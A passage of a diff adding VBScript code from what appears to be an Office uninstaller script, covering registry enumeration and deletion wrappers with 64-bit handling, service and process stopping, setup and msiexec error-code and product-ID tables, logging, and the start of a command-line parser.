+            arrNames = RemoveDuplicates(Split((Join(arrNames32,"\") & "\" & Join(arrNames64,"\")),"\"))
+            arrTypes = RemoveDuplicates(Split((Join(arrTypes32,"\") & "\" & Join(arrTypes64,"\")),"\"))
+        End If
+    Else
+        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames,arrTypes)
+    End If 'f64
+    RegEnumValues = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrNames) AND IsArray(arrTypes)
+End Function 'RegEnumValues
+'=======================================================================================================
+
+'Enumerate a registry key to return all subkeys
+Function RegEnumKey(hDefKey,sSubKeyName,arrKeys)
+    Dim RetVal, RetVal64
+    Dim arrKeys32, arrKeys64
+
+    If f64 Then
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys32)
+        RetVal64 = oReg.EnumKey(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrKeys64)
+        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrKeys32) Then arrKeys = arrKeys32
+        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrKeys64) Then arrKeys = arrKeys64
+        If (RetVal = 0) AND (RetVal64 = 0) Then
+            If IsArray(arrKeys32) AND IsArray (arrKeys64) Then
+                arrKeys = RemoveDuplicates(Split((Join(arrKeys32,"\") & "\" & Join(arrKeys64,"\")),"\"))
+            ElseIf IsArray(arrKeys64) Then
+                arrKeys = arrKeys64
+            Else
+                arrKeys = arrKeys32
+            End If
+        End If
+    Else
+        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys)
+    End If 'f64
+    RegEnumKey = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrKeys)
+End Function 'RegEnumKey
+'=======================================================================================================
+
+'Wrapper around oReg.DeleteValue to handle 64 bit
+Sub RegDeleteValue(hDefKey, sSubKeyName, sName, fRegMultiSZ)
+    Dim sWow64Key,sRealName
+    Dim iRetVal
+
+    sRealName = sName
+    If UCase(sName) = "(DEFAULT)" Then sRealName = ""
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName & sName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName) & sName)) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If RegValExists(hDefKey,sSubKeyName,sRealName) Then
+        On Error Resume Next
+        If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+            LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+            Exit Sub
+        End If
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+            iRetVal = 0
+            iRetVal = oReg.DeleteValue(hDefKey, sSubKeyName, sRealName)
+            CheckError "RegDeleteValue"
+            If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+        Else
+            LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
+        End If
+        On Error Goto 0
+    End If 'RegValExists
+    If f64 Then
+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegValExists(hDefKey,sWow64Key,sRealName) Then
+            On Error Resume Next
+            If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
+                LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
+                Exit Sub
+            End If
+            If Not fDetectOnly Then
+            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+                iRetVal = 0
+                iRetVal = oReg.DeleteValue(hDefKey, sWow64Key, sRealName)
+                CheckError "RegDeleteValue"
+                If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+            Else
+                LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
+            End If
+            On Error Goto 0
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteValue
+'=======================================================================================================
+
+'Wrappper around RegDeleteKeyEx to handle 64bit scenrios
+Sub RegDeleteKey(hDefKey, sSubKeyName)
+    Dim sWow64Key
+
+    'Ensure trailing "\"
+    sSubKeyName = sSubKeyName & "\"
+    While InStr(sSubKeyName,"\\")>0
+        sSubKeyName = Replace(sSubKeyName,"\\","\")
+    Wend
+
+    If dictionaryKeepReg.Exists(LCase(sSubKeyName)) Then
+        If NOT fForce Then
+            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+            Exit Sub
+        Else
+            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+        End If
+    End If
+    If f64 Then
+        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName))) Then
+            If NOT fForce Then
+                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName
+                Exit Sub
+            Else
+                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
+            End If
+        End If
+    End If
+
+    If Len(sSubKeyName) > 1 Then
+        'Strip of trailing "\"
+        sSubKeyName = Left(sSubKeyName,Len(sSubKeyName)-1)
+    End If
+
+    If RegKeyExists(hDefKey, sSubKeyName) Then
+        If Not fDetectOnly Then
+            LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+            On Error Resume Next
+            RegDeleteKeyEx hDefKey, sSubKeyName
+            On Error Goto 0
+        Else
+            LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sSubKeyName
+        End If
+    End If 'RegKeyExists
+    If f64 Then
+        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
+        If RegKeyExists(hDefKey,sWow64Key) Then
+            If Not fDetectOnly Then
+                LogOnly " - Delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+                On Error Resume Next
+                RegDeleteKeyEx hDefKey, sWow64Key
+                On Error Goto 0
+            Else
+                LogOnly " - Simulate delete registry key: " & HiveString(hDefKey) & "\" & sWow64Key
+            End If
+        End If 'RegKeyExists
+    End If
+End Sub 'RegDeleteKey
+'=======================================================================================================
+
+'Recursively delete a registry structure
+Sub RegDeleteKeyEx(hDefKey, sSubKeyName)
+    Dim arrSubkeys
+    Dim sSubkey
+    Dim iRetVal
+
+    On Error Resume Next
+    oReg.EnumKey hDefKey, sSubKeyName, arrSubkeys
+    If IsArray(arrSubkeys) Then
+        For Each sSubkey In arrSubkeys
+            RegDeleteKeyEx hDefKey, sSubKeyName & "\" & sSubkey
+        Next
+    End If
+    If Not fDetectOnly Then
+        iRetVal = 0
+        iRetVal = oReg.DeleteKey(hDefKey,sSubKeyName)
+        If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
+    End If
+End Sub 'RegDeleteKeyEx
+'=======================================================================================================
+
+'Return the alternate regkey location on 64bit environment
+Function Wow64Key(hDefKey, sSubKeyName)
+    Dim iPos
+
+    Select Case hDefKey
+        Case HKCU
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case HKLM
+            If Left(sSubKeyName,17) = "Software\Classes\" Then
+                Wow64Key = Left(sSubKeyName,17) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-17)
+            Else
+                iPos = InStr(sSubKeyName,"\")
+                Wow64Key = Left(sSubKeyName,iPos) & "Wow6432Node\" & Right(sSubKeyName,Len(sSubKeyName)-iPos)
+            End If
+
+        Case Else
+            Wow64Key = "Wow6432Node\" & sSubKeyName
+
+    End Select 'hDefKey
+End Function 'Wow64Key
+'=======================================================================================================
+
+'Remove duplicate entries from a one dimensional array
+Function RemoveDuplicates(Array)
+    Dim Item
+    Dim oDic
+
+    Set oDic = CreateObject("Scripting.Dictionary")
+    For Each Item in Array
+        If Not oDic.Exists(Item) Then oDic.Add Item,Item
+    Next 'Item
+    RemoveDuplicates = oDic.Keys
+End Function 'RemoveDuplicates
+'=======================================================================================================
+
+'End running instances of setup
+Sub EndCurrentInstalls ()
+    Dim Processes, Process
+    Dim iRet
+
+    Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like '%setup%' OR Name like '%install%'")
+    For Each Process in Processes
+        Log " - End process " & Process.Name
+        iRet = Process.Terminate()
+        CheckError "EndCurrentInstalls: " & "Process.Name"
+    Next 'Process
+    StopService "msiserver"
+End Sub 'EndCurrentInstalls
+'=======================================================================================================
+
+'Uses WMI to stop a service
+Function StopService(sService)
+    Dim Services, Service
+    Dim sQuery
+    Dim iRet
+
+    On Error Resume Next
+
+    iRet = 0
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+    'Stop the service
+    For Each Service in Services
+        If UCase(Service.State) = "STARTED" Then iRet = Service.StopService
+        If UCase(Service.State) = "RUNNING" Then iRet = Service.StopService
+
+    Next 'Service
+    StopService = (iRet = 0)
+End Function 'StopService
+'=======================================================================================================
+
+'Delete a service
+Sub DeleteService(sService)
+    Dim Services, Service, Processes, Process
+    Dim sQuery, sStates
+    Dim iRet
+
+    On Error Resume Next
+
+    sStates = "STARTED;RUNNING"
+    sQuery = "Select * From Win32_Service Where Name='" & sService & "'"
+    Set Services = oWmiLocal.Execquery(sQuery)
+
+    'Stop and delete the service
+    For Each Service in Services
+        Log " Found service " & sService & " in state " & Service.State
+        If InStr(sStates,UCase(Service.State))>0 Then iRet = Service.StopService()
+        'Ensure no more instances of the service are running
+        Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name='" & sService & ".exe'")
+        For Each Process in Processes
+            iRet = Process.Terminate()
+        Next 'Process
+        If Not fDetectOnly Then
+            Log " - Deleting Service -> " & sService
+            iRet = Service.Delete()
+        Else
+            Log " - Simulate deleting Service -> " & sService
+        End If
+    Next 'Service
+    Set Services = Nothing
+    Err.Clear
+
+End Sub 'DeleteService
+'=======================================================================================================
+
+'Translation for setup.exe error codes
+Function SetupRetVal(RetVal)
+    Select Case RetVal
+        Case 0 : SetupRetVal = "Success"
+        Case 30001,1 : SetupRetVal = "AbstractMethod"
+        Case 30002,2 : SetupRetVal = "ApiProhibited"
+        Case 30003,3  : SetupRetVal = "AlreadyImpersonatingAUser"
+        Case 30004,4 : SetupRetVal = "AlreadyInitialized"
+        Case 30005,5 : SetupRetVal = "ArgumentNullException"
+        Case 30006,6 : SetupRetVal = "AssertionFailed"
+        Case 30007,7 : SetupRetVal = "CABFileAddFailed"
+        Case 30008,8 : SetupRetVal = "CommandFailed"
+        Case 30009,9 : SetupRetVal = "ConcatenationFailed"
+        Case 30010,10 : SetupRetVal = "CopyFailed"
+        Case 30011,11 : SetupRetVal = "CreateEventFailed"
+        Case 30012,12 : SetupRetVal = "CustomizationPatchNotFound"
+        Case 30013,13 : SetupRetVal = "CustomizationPatchNotApplicable"
+        Case 30014,14 : SetupRetVal = "DuplicateDefinition"
+        Case 30015,15 : SetupRetVal = "ErrorCodeOnly - Passthrough for Win32 error"
+        Case 30016,16 : SetupRetVal = "ExceptionNotThrown"
+        Case 30017,17 : SetupRetVal = "FailedToImpersonateUser"
+        Case 30018,18 : SetupRetVal = "FailedToInitializeFlexDataSource"
+        Case 30019,19 : SetupRetVal = "FailedToStartClassFactories"
+        Case 30020,20 : SetupRetVal = "FileNotFound"
+        Case 30021,21 : SetupRetVal = "FileNotOpen"
+        Case 30022,22 : SetupRetVal = "FlexDialogAlreadyInitialized"
+        Case 30023,23 : SetupRetVal = "HResultOnly - Passthrough for HRESULT errors"
+        Case 30024,24 : SetupRetVal = "HWNDNotFound"
+        Case 30025,25 : SetupRetVal = "IncompatibleCacheAction"
+        Case 30026,26 : SetupRetVal = "IncompleteProductAddOns"
+        Case 30027,27 : SetupRetVal = "InstalledProductStateCorrupt"
+        Case 30028,28 : SetupRetVal = "InsufficientBuffer"
+        Case 30029,29 : SetupRetVal = "InvalidArgument"
+        Case 30030,30 : SetupRetVal = "InvalidCDKey"
+        Case 30031,31 : SetupRetVal = "InvalidColumnType"
+        Case 30032,31 : SetupRetVal = "InvalidConfigAddLanguage"
+        Case 30033,33 : SetupRetVal = "InvalidData"
+        Case 30034,34 : SetupRetVal = "InvalidDirectory"
+        Case 30035,35 : SetupRetVal = "InvalidFormat"
+        Case 30036,36 : SetupRetVal = "InvalidInitialization"
+        Case 30037,37 : SetupRetVal = "InvalidMethod"
+        Case 30038,38 : SetupRetVal = "InvalidOperation"
+        Case 30039,39 : SetupRetVal = "InvalidParameter"
+        Case 30040,40 : SetupRetVal = "InvalidProductFromARP"
+        Case 30041,41 : SetupRetVal = "InvalidProductInConfigXml"
+        Case 30042,42 : SetupRetVal = "InvalidReference"
+        Case 30043,43 : SetupRetVal = "InvalidRegistryValueType"
+        Case 30044,44 : SetupRetVal = "InvalidXMLProperty"
+        Case 30045,45 : SetupRetVal = "InvalidMetadataFile"
+        Case 30046,46 : SetupRetVal = "LogNotInitialized"
+        Case 30047,47 : SetupRetVal = "LogAlreadyInitialized"
+        Case 30048,48 : SetupRetVal = "MissingXMLNode"
+        Case 30049,49 : SetupRetVal = "MsiTableNotFound"
+        Case 30050,50 : SetupRetVal = "MsiAPICallFailure"
+        Case 30051,51 : SetupRetVal = "NodeNotOfTypeElement"
+        Case 30052,52 : SetupRetVal = "NoMoreGraceBoots"
+        Case 30053,53 : SetupRetVal = "NoProductsFound"
+        Case 30054,54 : SetupRetVal = "NoSupportedCulture"
+        Case 30055,55 : SetupRetVal = "NotYetImplemented"
+        Case 30056,56 : SetupRetVal = "NotAvailableCulture"
+        Case 30057,57 : SetupRetVal = "NotCustomizationPatch"
+        Case 30058,58 : SetupRetVal = "NullReference"
+        Case 30059,59 : SetupRetVal = "OCTPatchForbidden"
+        Case 30060,60 : SetupRetVal = "OCTWrongMSIDll"
+        Case 30061,61 : SetupRetVal = "OutOfBoundsIndex"
+        Case 30062,62 : SetupRetVal = "OutOfDiskSpace"
+        Case 30063,63 : SetupRetVal = "OutOfMemory"
+        Case 30064,64 : SetupRetVal = "OutOfRange"
+        Case 30065,65 : SetupRetVal = "PatchApplicationFailure"
+        Case 30066,66 : SetupRetVal = "PreReqCheckFailure"
+        Case 30067,67 : SetupRetVal = "ProcessAlreadyStarted"
+        Case 30068,68 : SetupRetVal = "ProcessNotStarted"
+        Case 30069,69 : SetupRetVal = "ProcessNotFinished"
+        Case 30070,70 : SetupRetVal = "ProductAlreadyDefined"
+        Case 30071,71 : SetupRetVal = "ResourceAlreadyTracked"
+        Case 30072,72 : SetupRetVal = "ResourceNotFound"
+        Case 30073,73 : SetupRetVal = "ResourceNotTracked"
+        Case 30074,74 : SetupRetVal = "SQLAlreadyConnected"
+        Case 30075,75 : SetupRetVal = "SQLFailedToAllocateHandle"
+        Case 30076,76 : SetupRetVal = "SQLFailedToConnect"
+        Case 30077,77 : SetupRetVal = "SQLFailedToExecuteStatement"
+        Case 30078,78 : SetupRetVal = "SQLFailedToRetrieveData"
+        Case 30079,79 : SetupRetVal = "SQLFailedToSetAttribute"
+        Case 30080,80 : SetupRetVal = "StorageNotCreated"
+        Case 30081,81 : SetupRetVal = "StreamNameTooLong"
+        Case 30082,82 : SetupRetVal = "SystemError"
+        Case 30083,83 : SetupRetVal = "ThreadAlreadyStarted"
+        Case 30084,84 : SetupRetVal = "ThreadNotStarted"
+        Case 30085,85 : SetupRetVal = "ThreadNotFinished"
+        Case 30086,86 : SetupRetVal = "TooManyProducts"
+        Case 30087,87 : SetupRetVal = "UnexpectedXMLNodeType"
+        Case 30088,88 : SetupRetVal = "UnexpectedError"
+        Case 30089,89 : SetupRetVal = "Unitialized"
+        Case 30090,90 : SetupRetVal = "UserCancel"
+        Case 30091,91 : SetupRetVal = "ExternalCommandFailed"
+        Case 30092,92 : SetupRetVal = "SPDatabaseOverSize"
+        Case 30093,93 : SetupRetVal = "IntegerTruncation"
+        'msiexec return values
+        Case 1259 : SetupRetVal = "APPHELP_BLOCK"
+        Case 1601 : SetupRetVal = "INSTALL_SERVICE_FAILURE"
+        Case 1602 : SetupRetVal = "INSTALL_USEREXIT"
+        Case 1603 : SetupRetVal = "INSTALL_FAILURE"
+        Case 1604 : SetupRetVal = "INSTALL_SUSPEND"
+        Case 1605 : SetupRetVal = "UNKNOWN_PRODUCT"
+        Case 1606 : SetupRetVal = "UNKNOWN_FEATURE"
+        Case 1607 : SetupRetVal = "UNKNOWN_COMPONENT"
+        Case 1608 : SetupRetVal = "UNKNOWN_PROPERTY"
+        Case 1609 : SetupRetVal = "INVALID_HANDLE_STATE"
+        Case 1610 : SetupRetVal = "BAD_CONFIGURATION"
+        Case 1611 : SetupRetVal = "INDEX_ABSENT"
+        Case 1612 : SetupRetVal = "INSTALL_SOURCE_ABSENT"
+        Case 1613 : SetupRetVal = "INSTALL_PACKAGE_VERSION"
+        Case 1614 : SetupRetVal = "PRODUCT_UNINSTALLED"
+        Case 1615 : SetupRetVal = "BAD_QUERY_SYNTAX"
+        Case 1616 : SetupRetVal = "INVALID_FIELD"
+        Case 1618 : SetupRetVal = "INSTALL_ALREADY_RUNNING"
+        Case 1619 : SetupRetVal = "INSTALL_PACKAGE_OPEN_FAILED"
+        Case 1620 : SetupRetVal = "INSTALL_PACKAGE_INVALID"
+        Case 1621 : SetupRetVal = "INSTALL_UI_FAILURE"
+        Case 1622 : SetupRetVal = "INSTALL_LOG_FAILURE"
+        Case 1623 : SetupRetVal = "INSTALL_LANGUAGE_UNSUPPORTED"
+        Case 1624 : SetupRetVal = "INSTALL_TRANSFORM_FAILURE"
+        Case 1625 : SetupRetVal = "INSTALL_PACKAGE_REJECTED"
+        Case 1626 : SetupRetVal = "FUNCTION_NOT_CALLED"
+        Case 1627 : SetupRetVal = "FUNCTION_FAILED"
+        Case 1628 : SetupRetVal = "INVALID_TABLE"
+        Case 1629 : SetupRetVal = "DATATYPE_MISMATCH"
+        Case 1630 : SetupRetVal = "UNSUPPORTED_TYPE"
+        Case 1631 : SetupRetVal = "CREATE_FAILED"
+        Case 1632 : SetupRetVal = "INSTALL_TEMP_UNWRITABLE"
+        Case 1633 : SetupRetVal = "INSTALL_PLATFORM_UNSUPPORTED"
+        Case 1634 : SetupRetVal = "INSTALL_NOTUSED"
+        Case 1635 : SetupRetVal = "PATCH_PACKAGE_OPEN_FAILED"
+        Case 1636 : SetupRetVal = "PATCH_PACKAGE_INVALID"
+        Case 1637 : SetupRetVal = "PATCH_PACKAGE_UNSUPPORTED"
+        Case 1638 : SetupRetVal = "PRODUCT_VERSION"
+        Case 1639 : SetupRetVal = "INVALID_COMMAND_LINE"
+        Case 1640 : SetupRetVal = "INSTALL_REMOTE_DISALLOWED"
+        Case 1641 : SetupRetVal = "SUCCESS_REBOOT_INITIATED"
+        Case 1642 : SetupRetVal = "PATCH_TARGET_NOT_FOUND"
+        Case 1643 : SetupRetVal = "PATCH_PACKAGE_REJECTED"
+        Case 1644 : SetupRetVal = "INSTALL_TRANSFORM_REJECTED"
+        Case 1645 : SetupRetVal = "INSTALL_REMOTE_PROHIBITED"
+        Case 1646 : SetupRetVal = "PATCH_REMOVAL_UNSUPPORTED"
+        Case 1647 : SetupRetVal = "UNKNOWN_PATCH"
+        Case 1648 : SetupRetVal = "PATCH_NO_SEQUENCE"
+        Case 1649 : SetupRetVal = "PATCH_REMOVAL_DISALLOWED"
+        Case 1650 : SetupRetVal = "INVALID_PATCH_XML"
+        Case 3010 : SetupRetVal = "SUCCESS_REBOOT_REQUIRED"
+        Case Else : SetupRetVal = "Unknown Return Value"
+    End Select
+End Function 'SetupRetVal
+'=======================================================================================================
+
+Function GetProductID(sProdID)
+        Dim sReturn
+
+        Select Case sProdId
+
+        Case "000F" : sReturn = "MONDO"
+        Case "0010" : sReturn = "WEBFLDRS"
+        Case "0011" : sReturn = "PROPLUS"
+        Case "0012" : sReturn = "STANDARD"
+        Case "0013" : sReturn = "BASIC"
+        Case "0014" : sReturn = "PRO"
+        Case "0015" : sReturn = "ACCESS"
+        Case "0016" : sReturn = "EXCEL"
+        Case "0017" : sReturn = "SharePointDesigner"
+        Case "0018" : sReturn = "PowerPoint"
+        Case "0019" : sReturn = "Publisher"
+        Case "001A" : sReturn = "Outlook"
+        Case "001B" : sReturn = "Word"
+        Case "001C" : sReturn = "AccessRuntime"
+        Case "001F" : sReturn = "Proof"
+        Case "0020" : sReturn = "O2007CNV"
+        Case "0021" : sReturn = "VisualWebDeveloper"
+        Case "0026" : sReturn = "ExpressionWeb"
+        Case "0029" : sReturn = "Excel"
+        Case "002A" : sReturn = "Office64"
+        Case "002B" : sReturn = "Word"
+        Case "002C" : sReturn = "Proofing"
+        Case "002E" : sReturn = "Ultimate"
+        Case "002F" : sReturn = "HomeAndStudent"
+        Case "0028" : sReturn = "IME"
+        Case "0030" : sReturn = "Enterprise"
+        Case "0031" : sReturn = "ProfessionalHybrid"
+        Case "0033" : sReturn = "Personal"
+        Case "0035" : sReturn = "ProfessionalHybrid"
+        Case "0037" : sReturn = "PowerPoint"
+        Case "0038" : sReturn = "OlTimeZoneTool"
+        Case "003A" : sReturn = "PrjStd"
+        Case "003B" : sReturn = "PrjPro"
+        Case "003D" : sReturn = "SINGLEIMAGE"
+        Case "0043" : sReturn = "OFFICE32"
+        Case "0044" : sReturn = "InfoPath"
+        Case "0045" : sReturn = "XWEB"
+        Case "0048" : sReturn = "OLC"
+        Case "0049" : sReturn = "ACADEMIC"
+        Case "004A" : sReturn = "OWC11"
+        Case "0051" : sReturn = "VISPRO"
+        Case "0052" : sReturn = "VisView"
+        Case "0053" : sReturn = "VisStd"
+        Case "0054" : sReturn = "VisMUI"
+        Case "0055" : sReturn = "VisMUI"
+        Case "0057" : sReturn = "VISIO"
+        Case "0061" : sReturn = "CLICK2RUN"
+        Case "0062" : sReturn = "CLICK2RUN"
+        Case "0066" : sReturn = "CLICK2RUN"
+        Case "006C" : sReturn = "CLICK2RUN"
+        Case "006D" : sReturn = "CLICK2RUN"
+        Case "006E" : sReturn = "Shared"
+        Case "006F" : sReturn = "OFFICE"
+        Case "0070" : sReturn = "OOBE"
+        Case "0074" : sReturn = "STARTER"
+        Case "007A" : sReturn = "OLC" 'Outlook Connector
+        Case "007C" : sReturn = "OSCFB" 'Outlook Social Connector for FaceBook
+        Case "007D" : sReturn = "OSCWL" 'Outlook Social Connector for Windows Live Messenger
+        Case "007F" : sReturn = "OLC" 'Outlook Social Connector
+        Case "008A" : sReturn = "RecentDocs"
+        Case "008B" : sReturn = "SmallBusinessBasics"
+        Case "00A1" : sReturn = "ONENOTE"
+        Case "00A3" : sReturn = "OneNoteHomeStudent"
+        Case "00A4" : sReturn = "OWC11"
+        Case "00A7" : sReturn = "CPAO"
+        Case "00A9" : sReturn = "InterConnect"
+        Case "00AF" : sReturn = "PPtView"
+        Case "00B0" : sReturn = "ExPdf"
+        Case "00B1" : sReturn = "ExXps"
+        Case "00B2" : sReturn = "ExPdfXps"
+        Case "00B4" : sReturn = "PrjMUI"
+        Case "00B5" : sReturn = "PrjtMUI"
+        Case "00B9" : sReturn = "AER"
+        Case "00BA" : sReturn = "Groove"
+        Case "00CA" : sReturn = "SmallBusiness"
+        Case "00E0" : sReturn = "Outlook"
+        Case "00D1" : sReturn = "ACE"
+        Case "0100" : sReturn = "OfficeMUI"
+        Case "0101" : sReturn = "OfficeXMUI"
+        Case "0103" : sReturn = "PTK"
+        Case "0114" : sReturn = "GrooveSetupMetadata"
+        Case "0115" : sReturn = "SharedSetupMetadata"
+        Case "0116" : sReturn = "SharedSetupMetadata"
+        Case "0117" : sReturn = "AccessSetupMetadata"
+        Case "011A" : sReturn = "SendASmile"
+        Case "011D" : sReturn = "ProPlusSubscription"
+        Case "011F" : sReturn = "OLConnect"
+        Case "0126" : sReturn = "WWLIBCXM"
+
+        Case "1014" : sReturn = "STS"
+        Case "1015" : sReturn = "WSSMUI"
+        Case "1032" : sReturn = "PJSVRAPP"
+        Case "104B" : sReturn = "SPS"
+        Case "104E" : sReturn = "SPSMUI"
+        Case "107F" : sReturn = "OSrv"
+        Case "1080" : sReturn = "OSrv"
+        Case "1088" : sReturn = "lpsrvwfe"
+        Case "10D7" : sReturn = "IFS"
+        Case "10D8" : sReturn = "IFSMUI"
+        Case "10EB" : sReturn = "DLCAPP"
+        Case "10F5" : sReturn = "XLSRVAPP"
+        Case "10F6" : sReturn = "XlSrvWFE"
+        Case "10F7" : sReturn = "DLC"
+        Case "10F8" : sReturn = "SlSrvMui"
+        Case "10FB" : sReturn = "OSrchWFE"
+        Case "10FC" : sReturn = "OSRCHAPP"
+        Case "10FD" : sReturn = "OSrchMUI"
+        Case "1103" : sReturn = "DLC"
+        Case "1104" : sReturn = "LHPSRV"
+        Case "1105" : sReturn = "PIA"
+        Case "1106" : sReturn = "GRVMGMTSRV"
+        Case "1109" : sReturn = "GSERVERRELAY"
+        Case "110D" : sReturn = "OSERVER"
+        Case "110F" : sReturn = "PSERVER"
+        Case "1110" : sReturn = "WSS"
+        Case "1121" : sReturn = "SPSSDK"
+        Case "1122" : sReturn = "SPSDev"
+        Case "1163" : sReturn = "SCC" 'SharePoint Client Components
+        Case Else : sReturn = sProdID
+
+        End Select 'sProdId
+    GetProductID = sReturn
+End Function 'GetProductID
+'=======================================================================================================
+
+Sub Log (sLog)
+    If NOT fQuiet AND fCScript Then wscript.echo sLog
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub LogOnly (sLog)
+    LogStream.WriteLine sLog
+End Sub 'Log
+'=======================================================================================================
+
+Sub CheckError(sModule)
+    If Err <> 0 Then
+        LogOnly "   " & Now & " - " & sModule & " - Source: " & Err.Source & "; Err# (Hex): " & Hex( Err ) & _
+               "; Err# (Dec): " & Err & "; Description : " & Err.Description
+    End If 'Err = 0
+    Err.Clear
+End Sub
+'=======================================================================================================
+
+'Command line parser
+Sub ParseCmdLine
+
+    Dim iCnt, iArgCnt
+    Dim arrArguments
+    Dim sArg0, sArguments
+
+    iArgCnt = Wscript.Arguments.Count
+    If iArgCnt > 1 Then
+        If wscript.Arguments(1) = "UAC" Then
+            If wscript.arguments.count = 2 Then iArgCnt = 0
+        End If
+    End If
+
+    sArguments = ""
+    If iArgCnt = 0 Then
+        If sDefault = "" Then
+            'Create the log
+            CreateLog
+            Log "No argument specified. Preparing user prompt" & vbCrLf
+            fPassive = False
+            FindInstalledOProducts
+            If dicInstalledSku.Count > 0 Then sDefault = Join(RemoveDuplicates(dicInstalledSku.Items),",") Else sDefault = "CLIENTALL"
+            sDefault = InputBox("Enter a list of " & ONAME & " products to remove" & vbCrLf & vbCrLf & _
+                    "Examples:" & vbCrLf & _
+                    "CLIENTALL" & vbTab & "-> all Client products" & vbCrLf & _
+                    "SERVER" & vbTab & "-> all Server products" & vbCrLf & _
+                    "ALL" & vbTab & vbTab & "-> all Server & Client products" & vbCrLf & _
+                    "ProPlus,PrjPro" & vbTab & "-> ProPlus and Project" & vbCrLf &_
+                    "?" & vbTab & vbTab & "-> display Help", _
+                    SCRIPTFILE & " - " & ONAME & " remover", _
+                    sDefault)
+
+            If IsEmpty(sDefault) Then 'User cancelled
+                Log "User cancelled. CleanUp & Exit."
+                'Undo temporary entries created in ARP
+                TmpKeyCleanUp
+                wscript.quit 1602
+            End If 'IsEmpty(sDefault)
+            Log "Answer from prompt: " & sDefault & vbCrLf
+        End If
+        sDefault = Trim(UCase(Trim(Replace(sDefault, Chr(34), ""))))
+        arrArguments = Split(Trim(sDefault), " ")
+        If UBound(arrArguments) = -1 Then ReDim arrArguments(0)
+    Else
+        ReDim arrArguments(iArgCnt-1)
+        For iCnt = 0 To (iArgCnt-1)
+            sArguments = sArguments & arrArguments(iCnt) & " "
+            arrArguments(iCnt) = UCase(Wscript.Arguments(iCnt))
+        Next 'iCnt
+    End If 'iArgCnt = 0
+
+    'Handle the SKU list
+    sArg0 = Replace(arrArguments(0), "/", "")
+    If Left(sArg0, 1) = "-" Then sArg0 = Mid(sArg0, 2)
+
+    Select Case UCase(sArg0)
+
+    Case "?"
+        ShowSyntax
+
+    Case "ALL"
+        fRemoveAll = True
+        fRemoveOse = False
+
+    Case "CLIENTSUITES"
+        fRemoveCSuites = True
+        fRemoveOse = False
+
+    Case "CLIENTSTANDALONE"
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "CLIENTALL"
+        fRemoveCSuites = True
+        fRemoveCSingle = True
+        fRemoveOse = False
+
+    Case "SERVER"
+        fRemoveSrv = True
+        fRemoveOse = False
+
+    Case "ALL,OSE"
+        fRemoveAll = True
+        fRemoveOse = True
+
+    Case Else
+        fRemoveAll = False
+        fRemoveOse = False
+        sSkuRemoveList = sArg0
+
+    End Select
+
+    For iCnt = 0 To UBound(arrArguments)
+
+        Select Case arrArguments(iCnt)
+
+        Case "?", "/?", "-?"
+            ShowSyntax
+
+        Case "/B", "/BYPASS"
+            If UBound(arrArguments) > iCnt Then
